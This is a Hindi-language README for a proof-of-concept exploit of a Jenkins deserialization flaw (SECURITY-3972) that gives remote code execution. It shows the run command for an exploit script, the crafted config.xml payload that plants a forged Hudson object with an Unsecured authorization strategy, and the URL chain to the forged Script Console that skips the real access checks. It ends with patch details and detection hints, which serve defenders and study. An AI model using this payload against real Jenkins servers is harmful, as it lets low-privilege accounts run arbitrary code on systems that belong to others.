
Jenkins PersistenceRoot Deserialization RCE (SECURITY-3972) — PoC और विश्लेषण। Item/Configure की आवश्यकता है; weekly <= 2.579 / LTS <= 2.568.2 को प्रभावित करता है।
2026-09-02 को ठीक किए गए Jenkins deserialization भेद्यता के लिए PoC (advisory)। किसी भी एक job पर Item/Configure रखने वाला कम-विशेषाधिकार वाला खाता उसे Jenkins OS उपयोगकर्ता के रूप में मनमाना कोड निष्पादन में बदल सकता है।
| प्रभावित | Jenkins weekly ≤ 2.579, LTS ≤ 2.568.2 |
| ठीक किया गया | weekly 2.580, LTS 2.568.3 |
| पूर्वशर्त | प्रमाणित, ≥ 1 job पर Item/Configure |
| प्रभाव | Jenkins सेवा खाते के रूप में RCE |
| CVSS | 8.8 (उच्च) |
केवल कमजोर परीक्षण इंस्टेंस पर अधिकृत सुरक्षा अनुसंधान के लिए।
pip install requests
python3 exp.py --url http://<target>:<port> --user <user> --password <pass> [--job <name>] --cmd id
स्क्रिप्ट सत्यापित करती है कि खाते के पास कोई script अनुमति नहीं है (403 की उम्मीद), तैयार config.xml सबमिट करती है, फिर इंजेक्ट किए गए ऑब्जेक्ट ग्राफ के माध्यम से Script Console तक रूट करती है जिसका ACL हमलावर-नियंत्रित है।
Jenkins XStream स्टैक (hudson.util.XStream2 / RobustReflectionConverter) के दो लंबे समय से चले आ रहे व्यवहार मिलते हैं:
PersistenceRoot उपप्रकार के रूप में टाइप किया गया (या उसे सौंपा जा सकने वाला) कोई भी फ़ील्ड सामान्य ऑब्जेक्ट की तरह unmarshal किया गया था। चूंकि XStream Unsafe.allocateInstance (कोई कंस्ट्रक्टर नहीं) के माध्यम से इंस्टेंशिएट करता है, एक हमलावर मनमाने फ़ील्ड मानों के साथ एक दूसरा hudson.model.Hudson सिंगलटन बना सकता था — जिसमें authorizationStrategy भी शामिल है।FingerprintAction.build, Run.project, AbstractItem.parent) transient हैं, इसलिए इंजेक्ट किए गए ऑब्जेक्ट HTTP पर पहुंच योग्य हो जाते हैं — advisory का "बाद में Stapler के माध्यम से HTTP अनुरोधों को संभालें" शब्द।POST /job/<job>/config.xml (केवल Item/Configure की आवश्यकता है) job के <actions> में इंजेक्ट करता है:
<actions>
<hudson.tasks.Fingerprinter_-FingerprintAction>
<build class="hudson.model.FreeStyleBuild"> <!-- PersistenceRoot नेस्टेड (दोष 1); transient फ़ील्ड (दोष 2) -->
<project class="hudson.model.FreeStyleProject"> <!-- Run.project: protected final transient -->
<parent class="hudson.model.Hudson"> <!-- AbstractItem.parent: transient; जाली दूसरा Jenkins -->
<authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
</parent>
<name>...</name>
<properties/> <!-- Job.getOverrides() में NPE से बचाता है -->
</project>
</build>
<record/>
</hudson.tasks.Fingerprinter_-FingerprintAction>
</actions>
Stapler फिर अनुरोध को जाली ग्राफ में रूट करता है:
| URL खंड | हल करता है | कोड पथ |
|---|---|---|
/job/<job>/fingerprints | इंजेक्ट किया गया FingerprintAction | urlName == "fingerprints" + Actionable.getDynamic() |
/run | जाली FreeStyleBuild | FingerprintAction.getRun() transient build पढ़ता है |
/parent | जाली FreeStyleProject | Run.getParent() final transient project पढ़ता है |
/parent | जाली hudson.model.Hudson | AbstractItem.getParent() transient parent पढ़ता है |
/scriptText | जाली इंस्टेंस का Script Console | Jenkins.doScriptText() → _doScript(..., getACL()) |
प्राधिकरण बाईपास: doScriptText ADMINISTER को उस इंस्टेंस के विरुद्ध जांचता है जिसने अनुरोध प्राप्त किया, यानी जाली Hudson का getACL(), जो उसके अपने authorizationStrategy फ़ील्ड से प्राप्त होता है — AuthorizationStrategy$Unsecured सब कुछ अनुदान देता है। वास्तविक नियंत्रक की प्राधिकरण रणनीति कभी भाग नहीं लेती। चूंकि deserialization के दौरान कोई कंस्ट्रक्टर नहीं चलता, फ़ील्ड इनिशियलाइज़र लागू नहीं होते; पेलोड को authorizationStrategy (और properties) स्पष्ट रूप से सेट करना चाहिए।
jenkins-2.579 → jenkins-2.580 का अंतर:
RobustReflectionConverter.doUnmarshal अब नेस्टेड फ़ील्ड में PersistenceRoot उपप्रकार को unmarshal करने से इनकार करता है (CriticalXStreamException: "PersistenceRoot objects are document roots and must not appear as nested field values"), केवल तीन सुरक्षित आकृतियों की अनुमति देता है: XStream reference= बैक-रेफरेंस, गैर-स्थायी resolves-to रिप्लेसर (Run$Replacer, User$Replacer, …), और एकल-मान कनवर्टर स्केलर संदर्भ।@XStreamNotDeserializable / @XStreamDeserializable एनोटेशन के साथ TRANSIENT_FIELD_STRICT_MODE प्रति फ़ील्ड transient-फ़ील्ड unmarshalling को कड़ा करते हैं।Jenkins.readResolve() अब दूसरे Jenkins सिंगलटन को deserialize करने से इनकार करता है और एक writeReplace() रिप्लेसर प्राप्त करता है।test/src/test/java/jenkins/security/Security3972Test.java, Security3972QueueRestartTest.java।Fingerprinter_-FingerprintAction / hudson.model.Hudson युक्त अप्रत्याशित POST /job/*/config.xml पेलोड, या /job/*/fingerprints/run/parent/parent/scriptText के अनुरोध।config.xml फ़ाइलों की जांच करें।